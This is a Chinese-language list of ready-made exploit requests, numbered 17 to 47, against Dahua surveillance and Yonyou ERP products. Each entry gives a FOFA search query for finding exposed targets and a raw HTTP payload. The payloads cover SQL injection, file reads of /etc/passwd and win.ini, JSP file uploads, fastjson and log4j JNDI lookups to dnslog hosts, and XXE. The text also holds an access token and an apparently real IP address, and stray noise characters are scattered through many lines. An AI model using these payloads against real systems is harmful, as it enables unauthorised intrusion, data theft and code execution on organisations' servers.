8 N2 {& j/ I$ @  F: z: R$ o; RGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
5 K9 T' G% `3 o" fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
+ e; ^; P- D' y% S' iAccept-Language: en
+ h4 r$ O* D% R+ P5 sAccept-Encoding: gzip

& n1 [' R% }( B1 @9 M
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
9 }; E9 Y3 O. b9 ]POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# f1 H" j  _: R; ~! GConnection: close
Content-Length: 345
Accept-Encoding: gzip
: f1 f( c( m: ~2 M6 ?
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
& x4 U# s' C5 I6 W5 S; ^. [: [/ i<s11:Body>
8 A. P& k0 p' f* v- I1 C9 L$ ]    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
3 T3 A5 o" {7 E, u4 i+ R; a7 {: A      <netMarkings>
8 s. M4 l; {1 ]3 B- Z' x       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
* H0 {3 Y+ R2 K8 s* a      </netMarkings>
* L& u- ~5 a! N! L6 O8 a# a    </ns1:deleteBulletin>
  </s11:Body>
% t* R6 ~3 \7 X6 l</s11:Envelope>
; s3 w0 Q) C2 k+ O2 _: V2 `1 v6 {6 o
" J' p8 d0 [9 W/ a; R5 Y6 f
; p( B4 Q- G  W  A5 P18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
4 J$ [7 Y8 k% P1 O( F" f! sFOFA：app="dahua-DSS"
; n! g3 o9 L8 ~% F/ IGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
/ i) @0 A0 @. F+ {' aHost: your-ip
6 z; g! J. Q' n' b) E4 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 |* u- v* m4 ]% O* w/ v! F  [Accept-Encoding: gzip, deflate
( F( Q! V2 }4 W4 ]% v; o* E  V, @Accept: */*
Connection: keep-alive
# g$ M6 P2 n/ O# l) @9 |' g, R: g
+ q- G2 u7 [5 L

$ u- v2 m- D: ~1 U% K) \; z7 X19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- e; X9 Q2 P/ |0 L5 X! {. y  w- qFOFA：app="dahua-DSS"
: \& |. H& W  R8 Z* M4 tGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
, m: M- Y+ y) Y" X' A+ C& qHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
4 k/ K! |# {- cConnection: keep-alive

. D  r9 _. z, Z3 u* s& K
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
& J3 O: ]2 w( D' P$ mGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
' F( q6 ?3 a; B2 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; _( p/ q& m: w! }Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
9 A3 k1 E( ]4 J# o& d1 t
- l2 g) D: J+ C, }( m
21. 大华ICC智能物联综合管理平台random远程代码执行
* V3 K( v! _% y2 d' I' @( HFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
" t( _7 N0 s6 sHost: x.x.x.x
1 b2 i( h! P8 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 z/ K- h( N/ u. \. M5 ~7 v$ A. ], GContent-Length: 161
( \" _9 F" e3 V+ y7 r, EAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
7 f: W8 i0 z5 }. a$ V4 k
{
6 ]  l) w2 ~) b" V"a":{
% n. b  ?, b/ o) A   "@type":"com.alibaba.fastjson.JSONObject",
6 ~2 Z" S5 J2 i" r- A    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
0 X2 n2 P( Y, s/ n" Y$ o3 ~
' p+ w7 y) c- I" B2 o' `
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
$ i3 |! y/ v4 C0 Q8 S3 PPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
0 x% S' I' @6 OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; A2 _4 q1 B$ ^6 R# Z) {/ XContent-Type: application/json;charset=utf-8

) Z- ]* H8 X5 Y' U7 M{
"loginName":"${jndi:ldap://dnslog}"
}
7 m9 D9 Z' i0 g1 W5 `( k


9 a8 i/ @  `( X& x% ]! k23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
1 {% v6 y, o' L6 OHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
% V1 _2 D4 C0 B3 V/ FAccept-Encoding: gzip
Connection: close
7 I- g, `7 G+ P% [
{
    "a":{
; v$ d* [9 v) v$ H4 H        "@type":"com.alibaba.fastjson.JSONObject",
+ [2 p6 [" z9 |* i; i6 e       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
+ k2 ?0 \0 |3 O5 ]3 e& [}


24. 用友NC 6.5 accept.jsp任意文件上传
8 E0 C4 i0 G% Z. A, WFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
( o3 j6 G& a5 A" s+ s+ g; |4 z5 cContent-Length: 449
Accept: */*
% l) A, q6 k! [# N  k" R6 X. mAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
* o8 U3 B% a' |" @
9 F( e. N9 f; E* k2 P( \<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
& T: O: m! ]( b7 c
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


! t1 D# k% W6 x  ]: ~, U1 v5 h) c25. 用友NC registerServlet JNDI 远程代码执行
$ I3 ^' N0 Q  ]6 KFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
( h6 z+ |* G* H& g, y+ q) nHost: your-ip
+ }0 ~) Z* f, e- L, a: S( n( ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Z* I# {. {2 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
3 b3 v  t8 ~. T7 K! p( XAccept-Encoding: gzip, deflate
4 D, f; M4 C* K+ r0 \9 K0 `- D, IAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
0 v% a; v" ^! e' m" v" h2 ]Content-Type: application/x-www-form-urlencoded
( k  k7 H( P$ i- y% m7 s
, }/ W( S( t4 n3 N. qtype=1&dsname=ldap://dnslog

8 I# ]2 I0 `; c3 }

26. 用友NC linkVoucher SQL注入
; ]( v* T" O7 u: P+ f$ hFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, M8 B& a. F; `, rContent-Type: application/x-www-form-urlencoded
! y9 A1 t* S% ]  o3 T$ `) xAccept-Encoding: gzip, deflate
" Q7 n3 l2 l! B3 m- \1 I4 V+ WAccept: */*
9 w& s' F+ ~, F4 I- C% \Connection: keep-alive


( \  v% o+ L8 G" K. L1 M- k27. 用友 NC showcontent SQL注入
* m' s. a- C5 \4 J6 TFOFA：icon_hash="1085941792"
1 {/ c2 ^+ _- g" N8 b" u0 t0 nGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
6 D: q! h  \0 |8 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
3 U2 k( e' F) S8 PContent-Type: text/xml; charset=utf-8
$ D' I$ L, y) Q$ ^$ g
6 j7 h( h7 ]- h+ I# G
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
6 J9 Y. G* Q: X5 rPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
5 ?1 u# S  c' C7 G0 z8 r  s
% ?6 w$ M9 x) B& b1 C------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

7 U, ?9 C' K1 _7 Q9 I9 K<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
2 [/ W$ U( d, [- i; b
2 I% K. U  O4 v
2 S, o. j9 m  O' G: v/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& o5 x6 M3 P" F$ ]- S. WAccept-Encoding: gzip, deflate
Accept: */*
' r/ i( c5 P$ [7 F$ t# y  vConnection: keep-alive
! l( E8 g5 X4 K+ }. G  h* K
  L9 k' u* L: u& X0 H; C% Y
# a/ H6 t8 |) _8 o" \- J! b3 G$ Z; [30. 用友NC importPml SQL注入
: G& q4 X$ f' ~* k8 z" yFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ m# h1 X+ K. iPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 n& p* {8 {3 _, DConnection: close
. O) C+ E. r# M- n  B
------WebKitFormBoundaryH970hbttBhoCyj9V
' e& z8 O" Z, e$ R+ {0 ~' E2 JContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
( v1 _* v: \4 H( R' v------WebKitFormBoundaryH970hbttBhoCyj9V--
: h0 k7 p' B4 M7 j* d$ T5 z5 X. E
- ^% S& g% L" k
31. 用友NC runStateServlet SQL注入
( V7 h0 Y5 w% j4 }* Uversion<=6.5
6 o2 a" K% ], k) K" ]) `FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
9 |% r! f6 n4 N7 @. f, ?5 a5 d% i6 p4 tGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
/ j: K. A2 O5 ]: bContent-Type: application/x-www-form-urlencoded

+ a+ f4 @1 q2 b9 R
32. 用友NC complainbilldetail SQL注入
0 t+ k6 b1 e$ `version= NC633、NC65
4 X: V6 J5 P  O/ S. u1 B( YFOFA：app="用友-UFIDA-NC"
$ j: h) h3 X) YGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- X# g" L+ A! S7 z8 {Content-Type: application/x-www-form-urlencoded
; B* V- ]7 I" l3 hAccept-Encoding: gzip, deflate
Accept: */*
4 w) x1 M" Q9 XConnection: keep-alive
) f, I; y, Z# p8 r1 @/ a% Q
- g; e  z7 p4 e& H% R: b5 K
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
  _- B' H4 A$ g) m1 }% IGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ R! \! p, f. @0 c' Y) e+ cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- z( P8 G4 t" n. m, G& g& |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
$ i! z* g0 E& f( W* u+ ^Connection: keep-alive
9 E7 K6 q5 {1 V2 J% J. j) b

8 S9 p- B! D: l, F5 x34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
7 C8 F. X: }- sConnection: keep-alive
$ F) h! Z% _/ P% Y  ]+ L
/ H0 k5 B8 h2 @; q" s7 x5 |, l
) g  C$ l+ G: a35. 用友NC-Cloud importhttpscer任意文件上传
$ E9 G2 F: O- o+ o7 aFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
/ z& m5 B' p% T. \& z1 Q1 fAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
% e, l8 Z1 y# D( o* e
1 e! J- S0 Y! O: n* @0 h--fd28cb44e829ed1c197ec3bc71748df0
, ]; `; s- o4 \* g- fContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
5 e  i( U$ [' J' ?5 ?--fd28cb44e829ed1c197ec3bc71748df0--


* h8 Q/ y+ N, J( b$ X" G4 w36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
" Q2 `8 @8 d! x/ S! w# }# KPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
1 d3 D2 k. F; f9 x/ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
( |# L% Q# U# S! ~Content-Length: 263
5 f$ b0 ~8 x1 |  RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, O) P/ l1 f8 H& AAccept-Encoding: gzip, deflate
/ [# E" C+ O- I( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
4 x  X: S1 Q$ C' n  L- y, HUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
7 l5 |8 }& {- ]! I
) T' z. Y5 f8 B: c
5 r3 s- e2 P2 _' _9 \& m. a8 G4 B37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% p; |- J' @# t0 h8 C1 lPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
( r9 l, ]- v% Y0 M! p' y" LHost: 192.168.40.130:8989
3 I! V+ |0 d1 j( H; fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
8 J/ S& m, B# a7 _5 sContent-Length: 421
2 X" m2 y3 R7 A: L, ]) l/ }+ P- xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" o8 V6 Q6 @) tAccept-Language: zh-CN,zh;q=0.9
) ^8 a' X  O2 `- w# SConnection: close
9 ?3 J' q8 ]4 N% V% y6 ?1 kContent-Type: text/xml;charset=UTF-8
# {# Y6 p/ f; T6 ]( F  fSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

$ I/ ?8 K3 I: C) y' F<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
- _: |, V: I8 n' t<soapenv:Header/>
<soapenv:Body>
9 P( J( V3 W9 a% n9 Z5 J<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
; M8 L0 p3 x! ~; m3 W( S9 F<xxx/>]]></iup:string>
</iup:getResult>
$ e/ X' C% f' u6 U( }</soapenv:Body>
/ n4 T/ B* O' p( l6 ^</soapenv:Envelope>



. p1 y1 d; R/ ^$ {! X# `38. 用友U8 Cloud smartweb2.RPC.d XXE
; P7 j# i. ?/ O, I2 f+ [2 V- kFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
- o. y: h/ h% J( J' |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
. c8 C" V) _4 `1 IContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
9 E" C7 o# i& j6 {' qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 t* |" L2 ?* Q1 o9 [Connection: close
2 o) R3 X  _/ \) E! B' p, J; wContent-Type: application/x-www-form-urlencoded
5 d1 m; L" b3 R' n5 f$ n
! F3 }  y$ k3 e& Y0 J__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
/ Y0 ?5 V; o6 j# ~$ M" T
% q0 z& u) c+ j
; L6 ?/ G( X- z$ @8 j/ d  D39. 用友U8 Cloud RegisterServlet SQL注入
( F( |( h2 b1 Z& y; Z8 eFOFA：title="u8c"
; l( [$ \6 D" U: T+ I) HPOST /servlet/RegisterServlet HTTP/1.1
, {- @% x3 d2 U# @- k3 [Host: 192.168.86.128:8089
# K5 N1 F  A& TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
* a% _+ W4 {9 u' XConnection: close
Content-Length: 85
# i! h* \$ A2 q: Y$ T5 U1 ^Accept: */*
( W5 y, D" T. X& Y1 @1 i" NAccept-Language: en
( c9 v& l* m8 g) _& y& U% tContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
, `9 X% o' v5 A* ?Accept-Encoding: gzip
. C3 K" }0 X0 S
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
+ A% U3 I+ e+ E3 f$ P) M0 pPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
7 A# P% }7 o; K. s* e0 UUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; s4 X7 W3 h$ D) S6 C6 mContent-Type: text/xml
, u5 Q7 G" v! s" r% \Connection: close
8 _, o# R7 U( C9 \: N8 K
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

4 r4 I2 R9 M4 t$ K$ C2 F
, ~0 y! p: P3 V( C" Z41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
$ W, W( g; L8 I& R' ZGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
0 ?5 O0 [2 @( U, Q$ `# gHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
0 T' {4 w0 I, F" r* t9 dAccept-Encoding: gzip
Connection: close
1 S" t' W  G+ a( b; d

. S& T3 A' ?! r: c6 k42. 用友GRP-U8 SmartUpload01 文件上传
: B; d2 E& C. U; wFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
% x' ]! F) m& }. R! dHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
+ Q1 u& }  P# Q2 N1 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
4 N# ^( [( t" f" a
( x# f' [, u4 h# \7 l& mPAYLOAD
) ^' R4 _. h2 V; r: ~3 ], `
3 E6 x& e: k) D3 R% V$ l
  Z" V$ q8 S% ~+ r$ Z4 b4 Ohttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
: i( U' J0 s" A: T. X/ {POST /services/userInfoWeb HTTP/1.1
Host: your-ip
9 G& x3 v# A$ b4 p( S% x' RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  T0 G- [/ F* Q; M" eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 D3 N7 M8 Q0 `% ~Connection: close
SOAPAction:
: N  s; X$ m" b+ D1 y) z. ^Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
  t' `% F8 b0 t+ Z& ~# s$ i7 L. Z   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
) A  ]$ `9 ~# N8 s+ x         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

/ H6 {4 i. @1 Y% |! u/ n
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
4 a5 F7 q5 f: H& A# sGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

  O3 A' o+ `! }8 r" R; T% D1 p
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
4 O2 {. j; M9 P+ TPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
5 i5 `# H( N" P' O# NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
9 s4 N* R+ e3 j. E& e) @( j7 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" `( L! K( b3 V# ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

1 X7 }1 l4 o, G& C; T5 xreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
7 \" o' b. C+ w2 n4 ^" `0 f

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
* M  N' U  ?. A/ p5 AFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 n. F) Q- n- B9 V4 a. q. _# o  GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 j& ]: Q7 b- I' [# L8 \( }Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ w$ x. ^; X9 Y$ Z, X
7 Q2 ^, K6 c4 @* G" x6 k. f47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
  V/ y" E3 n/ r0 f% `7 D9 LGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
! q# g! s+ f3 V/ p! JHost: x.x.x.x
Cache-Control: max-age=0
